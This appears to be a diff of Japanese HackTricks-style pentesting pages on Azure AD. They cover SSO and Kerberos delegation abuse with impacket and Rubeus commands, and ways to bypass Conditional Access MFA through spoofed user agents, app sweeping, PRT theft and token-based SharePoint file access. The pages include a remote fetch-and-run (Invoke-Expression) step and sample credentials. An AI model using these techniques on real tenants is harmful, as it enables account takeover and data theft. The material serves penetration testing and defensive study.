- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します:
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- Firefoxの`設定`に移動し、`Microsoft、職場および学校アカウントのためのWindowsシングルサインオンを許可する`を検索して有効にします。
3. **Webアプリケーションにアクセスする:**
- 組織のAADドメイン統合されたWebアプリケーションにアクセスします。一般的な例は[login.microsoftonline.com](https://login.microsoftonline.com/)です。
- 組織のAADドメイン統合されたWebアプリケーションにアクセスします。一般的な例は[login.microsoftonline.com](https://login.microsoftonline.com/)です。
4. **認証プロセス:**
- ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。
- 続行するには、TABまたはENTERを押します。
@@ -127,7 +127,7 @@ Silverチケットを利用するには、以下の手順を実行する必要
> [!WARNING]
> これは**ユーザーにMFAが有効な場合はバイパスしません**。
### オンプレミス -> クラウドへのリソースベースの制約付き委任 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
攻撃を実行するには、以下が必要です:
@@ -135,7 +135,7 @@ Silverチケットを利用するには、以下の手順を実行する必要
- あなたが制御するコンピュータアカウント(ハッシュとパスワード) - 作成することができます
1. ステップ1 自分のコンピュータアカウントを追加する
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがこれを行うことができ、MachineAccountQuota>0のときに可能です。
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがMachineAccountQuota>0の間にこれを行うことができます。
```bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
@@ -168,17 +168,14 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
```
あなたは今、**TGSを使用して、なりすましユーザーとしてAzureリソースにアクセスできます。**
### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Active Directory管理者がAzure AD Connectにアクセスできる場合、彼らは**任意のクラウドユーザーのSIDを設定することができます**。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成できます**。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定することができます**。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成できます**。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
> [!CAUTION]
> クラウド専用管理ユーザーのSID変更することは現在**Microsoftによってブロックされています**。\
> クラウド専用管理ユーザーのSID変更は現在**Microsoftによってブロックされています**。\
> 詳細は[https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)を確認してください。
## 参考文献
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)

View File

@@ -7,7 +7,7 @@
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure で設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional access ポリシーは基本的に **誰****何****どこから** **どのように** アクセスできるかを **定義** します。
以下は、いくつかの例です:
以下は2つの例です:
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からのログインなど、システムは追加の認証を促すことができます。
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスが許可される場合があります。
@@ -22,14 +22,14 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
```
## Conditional Acces Policies Bypasses
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーバイパスを許可する**ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーバイパスできる**ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー**と**ターゲットリソース**(すべてのクラウドアプリなど)を指定する必要があります。
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー**と **ターゲットリソース**(すべてのクラウドアプリなど)を指定する必要があります。
また、ポリシーを**トリガー**する**条件**を設定する必要があります:
また、ポリシーを **トリガー**する **条件**を設定する必要があります:
- **ネットワーク**: IP、IP 範囲、地理的位置
- VPN またはプロキシを使用して国に接続するか、許可された IP アドレスからログインすることでバイパス可能
- VPN またはプロキシを使用して、許可された IP アドレスからログインすることでバイパス可能
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
- 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
@@ -37,18 +37,18 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
- 選択されていないオプションでログインをバイパスする
- **デバイスのフィルタ**: 使用されているデバイスに関連するルールを生成可能
- **認証フロー**: オプションは「デバイス コード フロー」と「認証転送」
- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスするためにこれらのプロトコルを悪用しようとしない限り、影響を与えません
- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスしようとしない限り、影響を与えません
可能な**結果**は次のとおりです: アクセスをブロックまたは許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
可能な **結果** は次のとおりです: アクセスをブロックまたは許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
### Device Platforms - Device Condition
**デバイスプラットフォーム**Android、iOS、Windows、macOS...)に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント**を使用すれば、MFA またはブロックをバイパスできます:
**デバイスプラットフォーム**Android、iOS、Windows、macOS など)に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント**を使用すれば、MFA またはブロックをバイパスできます:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
ブラウザに**不明なユーザーエージェント**(例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを**手動で**変更できます:
ブラウザに **不明なユーザーエージェント**(例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを **手動で**変更できます:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
@@ -56,7 +56,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
### Locations: Countries, IP ranges - Device Condition
これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可された IP アドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国**で **VPN**を使用するか、**許可された IP アドレス**からアクセスする方法を見つけ、これらの条件をバイパスできます。
### Cloud Apps
@@ -64,35 +64,35 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
この保護をバイパスしようとする場合、**任意のアプリケーションにのみアクセスできるかどうか**を確認する必要があります。\
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)には、**ハードコーディングされた数十のアプリケーション ID**があり、それらにログインしようとし、成功した場合はトークンを提供します。
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるか**を確認する必要があります。\
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)**ハードコーディングされた数十のアプリケーション ID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
特定のリソース内の**特定のアプリケーション ID**をテストするために、次のようなツールを使用することもできます:
特定のリソース内の **特定のアプリケーション ID**をテストするために、次のようなツールを使用することもできます:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護をバイパスしようとするいくつかのチェックを実行します。
さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツール[**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)は、この保護をバイパスしようとするいくつかのチェックを実行します。
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
ツール[**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは **ホワイトボックス** の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
ツール[**ROPCI**](https://github.com/wunderwuzzi23/ropci)もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
## その他の Az MFA バイパス
## その他のAz MFAバイパス
### 着信音
Azure MFA のオプションのつは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字 `#` を送信するように求められます**。
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字`#`を送信するように求められます**。
> [!CAUTION]
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#` のトーン**を設定し、その後、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの話がボイスメールにリダイレクトされるようにます。
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#`のトーン**を設定し、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの話がボイスメールにリダイレクトされるようにすることができます。
### 準拠デバイス
### コンプライアントデバイス
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
ポリシーはしばしばコンプライアントデバイスまたはMFAを要求するため、**攻撃者はコンプライアントデバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します:
まず、**Intuneにコンプライアントデバイスを登録**し、次に**PRTを取得**します:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -105,16 +105,16 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
以下のページでこの種の攻撃に関する詳細情報を見つけてください:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
{{#endref}}
## ツール
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
このスクリプトはユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするにMFAが**必要ないかどうかを確認するのに役立ちます。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -124,7 +124,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のままる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -143,25 +143,25 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FAが有効なMicrosoftポータルのテストを行うための機能のセットです
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントを支援することを目的とした一連の機能です。2FAが有効なMicrosoftポータルのテストなど
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのためのトークンが要求されます:
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのトークンが要求されます:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
トークンが Sites.Read.All (Sharepoint から) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
トークンが Sites.Read.All の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```